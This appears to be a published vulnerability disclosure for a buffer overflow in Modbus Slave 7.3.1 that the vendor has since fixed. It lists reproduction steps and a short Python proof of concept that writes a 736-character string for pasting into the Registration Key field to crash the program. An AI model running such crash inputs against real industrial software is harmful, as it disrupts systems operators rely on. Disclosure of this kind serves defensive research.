Modbus Slave 7.3.1 Buffer Overflow

`Vendor has been notified and fixed  
https://www.modbustools.com/ModSlaveChangeLog.txt  
  
tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64  
  
# Steps to reproduce:  
# 1. - Download and install Modbus Slave  
# 2. - Run the python script and it will create modbus.txt file.  
# 3. - Modbus Slave 7.3.1 < 7.4.2  
# 4. - Connection -> Connect  
# 5. - Paste the characters of txt file to Registration Key  
# 6. - press "ok" button  
# 7. - Crashed  
  
#!/usr/bin/python  
  
exploit = 'A' * 736  
  
try:  
file = open("Modbus.txt","w")  
file.write(exploit)  
file.close()  
  
print("POC is created")  
except:  
print("POC not created")  
  
`